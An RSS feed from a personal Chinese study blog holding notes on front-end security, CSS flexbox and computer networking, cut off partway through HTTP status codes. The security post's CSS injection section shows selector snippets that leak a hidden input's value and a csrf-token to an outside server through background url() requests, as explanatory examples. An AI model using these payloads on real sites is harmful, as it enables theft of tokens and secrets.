<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>web on EuDs&#39;s Blog</title>
    <link>https://euds.org/tags/web/</link>
    <follow_challenge>
      <feedId>55788057182175234</feedId>
      <userId>67186528297029632</userId>
    </follow_challenge>
    <description>Recent content in web on EuDs&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Fri, 11 Oct 2024 15:34:14 +0800</lastBuildDate><atom:link href="https://euds.org/tags/web/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>前端安全</title>
      <link>https://euds.org/2024/frontend_security/</link>
      <pubDate>Fri, 11 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/frontend_security/</guid>
      <description>自己学习过程中整理的关于前端安全的知识点</description>
      <content:encoded><![CDATA[<h2 id="xss攻击">xss攻击</h2>
<ul>
<li>Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。</li>
<li>三种类型:
<table>
<thead>
<tr>
<th>类型</th>
<th>存储区</th>
<th>插入点</th>
</tr>
</thead>
<tbody>
<tr>
<td>存储型 XSS</td>
<td>后端数据库</td>
<td>HTML</td>
</tr>
<tr>
<td>反射型 XSS</td>
<td>URL</td>
<td>HTML</td>
</tr>
<tr>
<td>DOM 型 XSS</td>
<td>后端数据库/前端存储/URL</td>
<td>JavaScript</td>
</tr>
</tbody>
</table>
</li>
<li>DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。</li>
<li>防范
<ol>
<li>阻止攻击者提交恶意代码
<ul>
<li>输入过滤： 道高一尺魔高一丈，难</li>
<li>输入长度限制</li>
</ul>
</li>
<li>防止浏览器执行恶意代码
<ul>
<li>预防存储型和反射型 XSS 攻击
<ul>
<li>改成纯前端渲染，把代码和数据分隔开。</li>
<li>对 HTML 做充分转义</li>
</ul>
</li>
<li>预防 DOM 型 XSS 攻击</li>
</ul>
</li>
<li>利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本</li>
<li>对关键 Cookie 设置 http-only 属性</li>
</ol>
</li>
<li>参考：
<ul>
<li><a href="https://tech.meituan.com/2018/09/27/fe-security.html"  target="_blank" rel="noopener" >前端安全系列（一）：如何防止XSS攻击？ - 美团技术团队</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Glossary/Cross-site_scripting"  target="_blank" rel="noopener" >Cross-site scripting（跨站脚本攻击） - MDN Web 文档术语表：Web 相关术语的定义 | MDN</a></li>
<li><a href="https://urdusecurity.blogspot.com/2014/04/xss-chalenges-bypass.html"  target="_blank" rel="noopener" >Example</a></li>
<li><a href="https://juejin.cn/post/6874743455776505870"  target="_blank" rel="noopener" >浅谈 React 中的 XSS 攻击 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP"  target="_blank" rel="noopener" >内容安全策略（CSP） - HTTP | MDN</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="javascript-prototype-污染攻击">JavaScript Prototype 污染攻击</h2>
<h3 id="prototype基本概念">prototype基本概念</h3>
<ul>
<li><code>prototype</code>是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法</li>
<li>一个对象的<code>__proto__</code>属性，指向这个对象所在的类的<code>prototype</code>属性</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html"  target="_blank" rel="noopener" >深入理解 JavaScript Prototype 污染攻击 | 离别歌</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain"  target="_blank" rel="noopener" >继承与原型链 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="csrf">CSRF</h2>
<h3 id="概念">概念</h3>
<ul>
<li>CSRF（Cross-site request forgery）跨站请求伪造</li>
<li>一次CSRF攻击的过程
<ol>
<li>攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。</li>
<li>利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。</li>
</ol>
</li>
</ul>
<h3 id="特点">特点:</h3>
<ul>
<li>CSRF（通常）发生在第三方域名。</li>
<li>CSRF攻击者不能获取到Cookie等信息，只是使用</li>
</ul>
<h3 id="防护策略">防护策略</h3>
<ul>
<li><strong>阻止不明外域的访问</strong>
<ul>
<li>同源检测
<ul>
<li>使用<code>Origin Header</code>确定来源域名</li>
<li>使用<code>Referer Header</code>确定来源域名</li>
<li>如果直接在本域发起攻击，同源策略无法达到防护的作用</li>
<li>Samesite Cookie</li>
</ul>
</li>
</ul>
</li>
<li><strong>提交时要求附加本域才能获取的信息</strong>
<ul>
<li>CSRF Token
<ul>
<li>我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击</li>
<li>双重Cookie验证
<ul>
<li>难以做到子域名的隔离</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="参考-1">参考：</h3>
<ul>
<li><a href="https://tech.meituan.com/2018/10/11/fe-security-csrf.html"  target="_blank" rel="noopener" >前端安全系列（二）：如何防止CSRF攻击？ - 美团技术团队</a></li>
</ul>
<hr>
<h2 id="点击劫持攻击">点击劫持攻击</h2>
<h3 id="原理">原理</h3>
<ol>
<li>黑客创建一个恶意页面</li>
<li>页面中有一个吸引用户点击的按钮</li>
<li>按钮上方放置一个透明的iframe，其src为黑客希望以用户的名义点击的网站</li>
</ol>
<h3 id="防护策略-1">防护策略</h3>
<ul>
<li>不希望被在iframe中查看: 使用 <code>X-Frame-Options: SAMEORIGIN</code></li>
<li>若要允许在iframe中显示，则可以使用一个<code>&lt;div&gt;</code>对整个页面进行遮盖
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">top</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span> <span class="o">==</span> <span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">protector</span><span class="p">.</span><span class="nx">remove</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>使用<code>samesite</code> cookie</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/clickjacking"  target="_blank" rel="noopener" >点击劫持攻击</a></li>
</ul>
<hr>
<h2 id="css-injection">CSS injection</h2>
<ul>
<li>属性选择器可以選到「屬性符合某個條件的元素」: <code>input[value^=a]</code></li>
<li>可以利用 CSS 發出 request
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">input</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="p">][</span><span class="nx">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//myserver.com?q=a)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>偷 hidden input
<ul>
<li>因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上,也就不会载入背景图片</li>
<li><code>display:block !important;</code>不起作用</li>
<li>方法:
<ul>
<li><code>+</code>: 選到後面的元素</li>
<li><code>has</code>: 選到「底下符合特殊條件的元素」</li>
</ul>
</li>
</ul>
</li>
<li>偷meta
<ul>
<li>可以自己用 CSS 讓這個元素變成可見
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">head</span><span class="p">,</span> <span class="nx">meta</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">display</span><span class="o">:</span> <span class="nx">block</span><span class="p">;</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">meta</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="p">][</span><span class="nx">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//example.com?q=a);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://blog.huli.tw/2022/09/29/css-injection-1/"  target="_blank" rel="noopener" >用 CSS 來偷資料 - CSS injection（上） - Huli&rsquo;s blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理之flex</title>
      <link>https://euds.org/2024/css_points_of_flex/</link>
      <pubDate>Thu, 10 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/css_points_of_flex/</guid>
      <description>自己学习过程中整理的关于CSS中flex的知识点</description>
      <content:encoded><![CDATA[<h2 id="基本概念">基本概念</h2>
<ul>
<li><strong>Primary axis</strong>: Children will be bunched up at the start of the container.</li>
<li><strong>Cross axis</strong>: Children will stretch out to fill the entire container.</li>
<li><strong>justify</strong> — to position something along the primary axis.</li>
<li><strong>align</strong> — to position something along the cross axis.</li>
<li><strong>content</strong> — a group of “stuff” that can be distributed.</li>
<li><strong>items</strong> — single items that can be positioned individually</li>
</ul>
<hr>
<h2 id="属性">属性</h2>
<h3 id="flex-direction"><code>flex-direction</code></h3>
<ul>
<li>属性决定主轴的方向（即项目的排列方向）。</li>
</ul>
<h3 id="justify-content"><code>justify-content</code></h3>
<ul>
<li>control the distribution of the group along <strong>the primary axis</strong></li>
</ul>
<h3 id="align-self"><code>align-self</code></h3>
<ul>
<li>change the alignment of a specific child along <strong>the cross axis</strong></li>
</ul>
<h3 id="align-items"><code>align-items</code></h3>
<ul>
<li>a convenient shorthand that automatically sets the alignment on all the children at once</li>
<li>flex-start：交叉轴的起点对齐。</li>
<li>flex-end：交叉轴的终点对齐。</li>
<li>center：交叉轴的中点对齐。</li>
<li>baseline: 项目的第一行文字的基线对齐。</li>
<li>stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度</li>
</ul>
<h3 id="flex-grow"><code>flex-grow</code></h3>
<ul>
<li>number,默认为0，不能为负数</li>
<li>规定了 flex-grow 项在 flex 容器中分配剩余空间的相对比例</li>
<li>剩余空间是 flex 容器的大小减去所有 flex 项的大小加起来的大小</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow"  target="_blank" rel="noopener" >flex-grow - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-shrink"><code>flex-shrink</code></h3>
<ul>
<li>number, 默认为1，不难为负数</li>
<li>The flex shrink factor is multiplied by the flex base size; this distributes negative space in proportion to how much the item can shrink. This prevents smaller items from shrinking to 0px before a larger item is noticeably reduced.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-shrink"  target="_blank" rel="noopener" >flex-shrink - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-basis"><code>flex-basis</code></h3>
<ul>
<li>
<p>指定了 flex 元素在主轴方向上的初始大小(内容盒)</p>
</li>
<li>
<p>flex-basis 优先级比 width(height)高</p>
</li>
<li>
<p>若 <code>flex-basis</code> 为 <code>auto</code>,则 <code>width</code> 设置多少就是多少。</p>
<ul>
<li>举例 <code>flex-basis:auto;width: 300px</code>，则子项就为300px(故意没说宽或者高，因为<code>flex-direction</code>可能会变,下文也一样)。若没设置 <code>width</code>， 则根据内容撑起来。</li>
</ul>
</li>
<li>
<p>若 <code>flex-basis</code> 为 0 ，根据优先级，那子项就是为0px。更不用说同时设置了具体数值，如:<code>flex-basis:200px;width:300px</code>,那子项自然为200px</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis"  target="_blank" rel="noopener" >flex-basis - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<h3 id="flex">flex</h3>
<ul>
<li>
<p>是<code>flex-grow</code>,<code>flex-shrink</code>,<code>flex-basis</code>的简写</p>
</li>
<li>
<p><code>flex-basis</code>，<code>flex-grow</code>，<code>flex-shrink</code> 三者的关系</p>
<ul>
<li><code>flex-basis</code> 是在 <code>flex-grow</code>,<code>flex-shrink</code> 之前看的</li>
<li>意思就是 <code>flex-basis</code> 设定好了再看另外两者，若空间还有富余，就 <code>flex-grow</code>，若空间不够，就<code>flex-shrink</code></li>
</ul>
</li>
<li>
<p>取值</p>
<ol>
<li>initial</li>
</ol>
<ul>
<li>元素会根据自身宽高设置尺寸。它会缩短自身以适应 flex 容器，但不会伸长并吸收 flex 容器中的额外自由空间来适应 flex 容器。相当于将属性设置为&quot;flex: 0 1 auto&quot;。</li>
</ul>
<ol start="2">
<li>auto</li>
</ol>
<ul>
<li>元素会根据自身的宽度与高度来确定尺寸，但是会伸长并吸收 flex 容器中额外的自由空间，也会缩短自身来适应 flex 容器。这相当于将属性设置为 &ldquo;flex: 1 1 auto&rdquo;.</li>
</ul>
<ol start="3">
<li>none</li>
</ol>
<ul>
<li>元素会根据自身宽高来设置尺寸。它是完全非弹性的：既不会缩短，也不会伸长来适应 flex 容器。相当于将属性设置为&quot;flex: 0 0 auto&quot;。</li>
</ul>
<ol start="4">
<li>1</li>
</ol>
<ul>
<li><code>flex-grow:1 , flex-shrink-1, flex-basis-0</code>的缩写</li>
</ul>
</li>
</ul>
<h3 id="gap"><code>gap</code></h3>
<ul>
<li>allows us to create space in-between each Flex child</li>
</ul>
<h3 id="marginauto"><code>margin:auto</code></h3>
<ul>
<li>will gobble up the extra space, and apply it to the element&rsquo;s margin</li>
</ul>
<h3 id="flex-wrap"><code>flex-wrap</code></h3>
<ul>
<li><code>nowrap</code> 默认</li>
<li><code>wrap</code></li>
<li><code>warp-reverse</code></li>
</ul>
<hr>
<h2 id="实现两列等高">实现两列等高</h2>
<h3 id="需求描述">需求描述</h3>
<p>两列布局，以较矮的一列为基准，较高的一列超出部分以滚动条形式</p>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6924826615729881101?from=search-suggest"  target="_blank" rel="noopener" >CSS中，如何处理短内容和长内容？ - 掘金</a></li>
<li><a href="https://frontend-note.benbinbin.com/article/css/css-layout"  target="_blank" rel="noopener" >CSS 网页布局</a></li>
<li><a href="https://www.imarketinx.de/artikel/equal-height-columns-with-css-grid-layout.html"  target="_blank" rel="noopener" >Equal height columns with CSS Grid Layout - over any number of rows</a></li>
<li><a href="https://jessieji.com/2019/pure-css-masonry"  target="_blank" rel="noopener" >纯 CSS 实现横向排序的瀑布流式布局 - The Trivial</a></li>
<li><a href="https://css-tricks.com/equal-columns-with-flexbox-its-more-complicated-than-you-might-think/"  target="_blank" rel="noopener" >Equal Columns With Flexbox: It’s More Complicated Than You Might Think | CSS-Tricks</a></li>
<li><a href="https://yogwang.site/2022/CSS-flex-container-stretched-by-content/"  target="_blank" rel="noopener" >flex 容器宽度被内容撑开的问题 | blog [ YOG WANG ]</a></li>
</ul>
<hr>
<h2 id="实现换行">实现换行</h2>
<h3 id="需求描述-1">需求描述</h3>
<p>文字内容过长，希望它换行，而不是溢出</p>
<h3 id="解决过程">解决过程</h3>
<ol>
<li>第一版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;flex flex-col&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 truncate&#34;</span><span class="p">&gt;{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span><span class="mi">111111111111111111111111</span><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span></code></pre></div>这代码怎么调都还是溢出，后来发现删掉外层的flex就好了,改成</li>
<li>第二版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 overflow-hidden text-ellipsis whitespace-nowrap&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>发现原因在于连续的字母或者数字会被当做一个单词或文本内容，故不会主动换行显示。</li>
<li>另一种解决方案是使用<a href="https://tailwindcss.com/docs/word-break#break-all"  target="_blank" rel="noopener" >break-all</a></li>
</ol>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-wrap"  target="_blank" rel="noopener" >flex-wrap - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://juejin.cn/post/7314507576439472169"  target="_blank" rel="noopener" >Flex 踩坑指南（文字、图片溢出问题） - Minimum Content Size In CSS Flexbox - 掘金</a></li>
<li><a href="https://www.cnblogs.com/xinyuyue/p/14371506.html"  target="_blank" rel="noopener" >使用flex 布局时，英文不自动换行 - 北极星333y - 博客园</a></li>
<li><a href="https://xugaoyi.com/pages/42b66999cc27dc25/"  target="_blank" rel="noopener" >文字在一行或多行时超出显示省略号 | Evan&rsquo;s blog</a></li>
</ul>
<hr>
<h2 id="参考-2">参考</h2>
<ul>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>计算机网络学习笔记</title>
      <link>https://euds.org/2024/learn_computer_network/</link>
      <pubDate>Thu, 10 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/learn_computer_network/</guid>
      <description>纸上得来终觉浅</description>
      <content:encoded><![CDATA[<h2 id="子网">子网</h2>
<h3 id="子网地址">子网地址</h3>
<ul>
<li>一个ip地址分为子网地址和主机地址两部分</li>
<li>子网地址 = ip地址和掩码进行与运算</li>
</ul>
<h3 id="相同子网的两个判定条件">相同子网的两个判定条件</h3>
<ul>
<li>子网地址相同</li>
<li>直接相连，没有中间路由器</li>
</ul>
<hr>
<h2 id="网关">网关</h2>
<ul>
<li>默认网关： 通往外部网络的第一跳路由器</li>
</ul>
<hr>
<h2 id="模型">模型</h2>
<h3 id="osi七层">OSI七层</h3>
<ul>
<li>分层
<ol>
<li>应用层</li>
<li>表示层</li>
<li>会话层: RPC, SQL,ASP</li>
<li>传输层</li>
<li>网络层</li>
<li>数据链路层</li>
<li>物理层</li>
</ol>
</li>
</ul>
<h3 id="tcpip五层模型">TCP/IP五层模型</h3>
<ul>
<li>分层
<ol>
<li>应用层: SMTP,TELNET,DNS,HTTP</li>
<li>传输层: TCP/UDP、TLS</li>
<li>网络层: ICMP,IP,ARP</li>
<li>数据链路层： mac地址,以太网,ARP,PPP(Point to Point Protocol)</li>
<li>物理层</li>
</ol>
</li>
<li>
  <img loading="lazy" src="https://img2018.cnblogs.com/blog/1311506/201809/1311506-20180919121800625-665107838.png" alt="封装"  /></li>
<li>参考
<ul>
<li><a href="https://www.cnblogs.com/xiugeng/p/8724565.html"  target="_blank" rel="noopener" >TCP/IP五层模型详解 - 休耕 - 博客园</a></li>
<li><a href="https://juejin.cn/post/6857700931708452878"  target="_blank" rel="noopener" >什么是TCP/IP?-四张图解释TCP/IP四层协议模型 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="tcp传输控制协议">TCP(传输控制协议)</h2>
<h3 id="特性">特性</h3>
<ul>
<li>可靠性：只要不得到确认，就重新发送数据报，直到得到对方的确认为止</li>
<li>参考：<a href="https://ciphersaw.me/2018/05/23/python-trick-tcp-server-and-client/"  target="_blank" rel="noopener" >Python 绝技 —— TCP 服务器与客户端 | Secrypt Agency</a></li>
</ul>
<h3 id="三次握手与四次挥手">三次握手与四次挥手</h3>
<ul>
<li>状态机：
  <img loading="lazy" src="https://cdn.jsdelivr.net/gh/SericaLaw/images@master/20211028/-16354356966601.png" alt="TCP状态机"  /></li>
<li>三次握手过程:
<ol>
<li>client发送连接请求报文，seq=x</li>
<li>server接受连接后回复ACK=x+1,seq=y ，并为此处连接分配资源</li>
<li>client接收到ACK报文后，回复ACK=y+1</li>
</ol>
</li>
<li>四次挥手过程:
<ol>
<li>client发送FIN，seq=x</li>
<li>server发送ACK=x+1</li>
<li>server发送FIN</li>
<li>client发送ACK</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://www.iserica.com/posts/tcp-state-machine-and-network-programming/"  target="_blank" rel="noopener" >TCP状态机和Linux网络编程 | Serica</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/53374516"  target="_blank" rel="noopener" >“三次握手，四次挥手”你真的懂吗？ - 知乎</a></li>
</ul>
</li>
</ul>
<h3 id="滑动窗口">滑动窗口</h3>
<ul>
<li>接收方需要确认发送方发送的数据包</li>
<li>分为发送方滑动窗口，和接受方滑动窗口。</li>
<li>发送方滑动窗口
<ol>
<li>已发送已确认</li>
<li>已发送未确认</li>
<li>未发送可发送 (2+3的大小未advertised window)</li>
<li>未发送不可发送</li>
</ol>
</li>
<li>接受方滑动窗口
<ol>
<li>已接受已确认</li>
<li>等待接受未确认(advertised window)大小等于接收方发送的tcp头部的window size</li>
<li>不可接受</li>
</ol>
</li>
</ul>
<h3 id="拥塞窗口">拥塞窗口</h3>
<ul>
<li>发送端定义</li>
<li>CWND(congestion window)</li>
<li>发送端最大的发送范围等于Min(拥塞窗口,滑动窗口)</li>
<li>拥塞窗口会动态地随着网络情况的变化进行调整</li>
<li>大体策略为: 如果没有拥塞，则扩大窗口大小，否则就减小。</li>
</ul>
<h3 id="一台机器上最多能创建多少个tcp连接">一台机器上最多能创建多少个TCP连接</h3>
<ul>
<li>
<blockquote>
<p>在内存、文件句柄足够的话可以创建的连接是没有限制的（每个TCP连接至少要消耗一个文件句柄）</p>
</blockquote>
</li>
<li>参考: <a href="https://plantegg.github.io/2020/11/30/%E4%B8%80%E5%8F%B0%E6%9C%BA%E5%99%A8%E4%B8%8A%E6%9C%80%E5%A4%9A%E8%83%BD%E5%88%9B%E5%BB%BA%E5%A4%9A%E5%B0%91%E4%B8%AATCP%E8%BF%9E%E6%8E%A5/"  target="_blank" rel="noopener" >到底一台服务器上最多能创建多少个TCP连接 | plantegg</a></li>
</ul>
<h3 id="tcp和udp的区别">TCP和UDP的区别</h3>
<ol>
<li>
<p><strong>连接与无连接</strong></p>
<ul>
<li><strong>TCP</strong>: 是一种<strong>面向连接</strong>的协议。在发送数据之前，必须先建立一个连接（称为“三次握手”）。在通信过程中，TCP确保双方之间建立的连接保持稳定，直到通信完成。</li>
<li><strong>UDP</strong>: 是一种<strong>无连接</strong>的协议。它不需要在发送数据前建立连接，也不保证发送的数据包会到达目标，因此通信效率较高，但可靠性较低。</li>
</ul>
</li>
<li>
<p><strong>可靠性</strong></p>
<ul>
<li><strong>TCP</strong>: 提供可靠的数据传输。它确保所有的数据包都能够按顺序到达，并且如果有任何数据包丢失，TCP会负责重发。这种机制使得TCP适合需要高可靠性的数据传输，比如文件传输、电子邮件、网页浏览等。</li>
<li><strong>UDP</strong>: 不保证数据包的可靠传输。它不提供重传机制，也不保证数据包按顺序到达，因此如果数据丢失，UDP不会通知发送方。UDP适用于对丢包不敏感的应用场景，比如实时音视频传输、在线游戏等。</li>
</ul>
</li>
<li>
<p><strong>流量控制和拥塞控制</strong></p>
<ul>
<li><strong>TCP</strong>: 提供流量控制和拥塞控制机制。这意味着发送方会根据接收方的处理能力以及网络状况调整发送速率，避免网络过载。TCP使用滑动窗口、慢启动等机制来优化网络传输性能。</li>
<li><strong>UDP</strong>: 不提供流量控制和拥塞控制。UDP会尽最大努力发送数据包，不管接收方是否能够处理，也不关心网络是否拥挤。</li>
</ul>
</li>
<li>
<p><strong>数据传输方式</strong></p>
<ul>
<li><strong>TCP</strong>: 以<strong>字节流</strong>的形式传输数据。TCP把应用层的数据分割成合适大小的段，并确保它们按顺序到达目标应用层。TCP的字节流传输方式使得应用层收到的数据是连续的、完整的。</li>
<li><strong>UDP</strong>: 以<strong>数据报</strong>的形式传输数据。每个UDP包是独立的，接收方收到的可能是独立且无顺序的多个数据报文。由于UDP没有确保顺序到达的机制，因此数据包可能会乱序、丢失或重复。</li>
</ul>
</li>
<li>
<p><strong>开销</strong></p>
<ul>
<li><strong>TCP</strong>: 由于需要建立连接、保证可靠传输以及提供流量控制，TCP的开销较大。TCP头部包含20字节的控制信息（例如序号、确认号、窗口大小等）。</li>
<li><strong>UDP</strong>: 相对来说，UDP的开销较小。它的头部只有8字节，包含了必要的端口信息和校验和字段。由于不需要建立连接或管理重传，UDP的通信效率更高。</li>
</ul>
</li>
<li>
<p><strong>使用场景</strong></p>
<ul>
<li><strong>TCP</strong>: 适用于需要高可靠性、数据完整性和传输顺序的场景。例如：
<ul>
<li>文件传输（如FTP）</li>
<li>网页浏览（HTTP/HTTPS）</li>
<li>电子邮件传输（SMTP）</li>
</ul>
</li>
<li><strong>UDP</strong>: 适用于对传输速度要求高且对数据丢失不敏感的场景。例如：
<ul>
<li>实时音视频传输（如VoIP、视频会议）</li>
<li>在线游戏</li>
<li>DNS查询</li>
<li>流媒体播放</li>
</ul>
</li>
</ul>
</li>
</ol>
<hr>
<h2 id="http--https">HTTP / HTTPS</h2>
<h3 id="http缓存机制">HTTP缓存机制</h3>
<ul>
<li>
<p>分类</p>
<ol>
<li>强缓存</li>
<li>协商缓存</li>
</ol>
</li>
<li>
<p>响应头</p>
<ol>
<li><code>Expires</code></li>
</ol>
<ul>
<li>HTTP/1</li>
</ul>
<ol start="2">
<li><code>Last-Modified</code> / <code>If-Modified-Since</code></li>
</ol>
<ul>
<li>HTTP/1</li>
<li>流程
<ol>
<li>浏览器第一次访问资源，<strong>服务器</strong>会 Response Header 里添加 Last-Modified 的值</li>
<li>浏览器在下一次请求这个资源的时候，检测到有<code>Last-Modified</code>这个 Header。<strong>浏览器</strong>就会在Request中加上 <code>If-Modified-Since</code>，<code>If-Modified-Since</code>的值就是 Last-Modified 的值</li>
<li>服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。</li>
<li>如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。</li>
</ol>
</li>
</ul>
<ol start="3">
<li><code>Cache-Control</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>优先级比 Expires 要高</li>
<li>可选值
<ul>
<li>public</li>
<li>private</li>
<li>no-store: 完全禁用缓存，资源不会存储在缓存中。</li>
<li>no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存</li>
<li>max-age=60</li>
</ul>
</li>
</ul>
<ol start="4">
<li><code>ETag</code> / <code>If-None-Match</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成</li>
<li>浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的<code>Etag</code>值放到request header里的<code>If-None-Match</code>里</li>
<li>ETag 的优先级要高于 Last-Modified</li>
</ul>
</li>
<li>
<p>缓存控制策略的优先级</p>
<ul>
<li>Cache-Control 优先于 Expires</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://software-factotum.medium.com/effective-http-caching-part-i-62be61280c8c"  target="_blank" rel="noopener" >Effective HTTP Caching — Part I. This series presents an exhaustive dive… | by msingh | Medium</a></li>
</ul>
</li>
</ul>
<h3 id="常见的http状态码">常见的HTTP状态码</h3>
<ul>
<li>分类:
<ul>
<li>1 表示消息</li>
<li>2 表示成功</li>
<li>3 表示重定向</li>
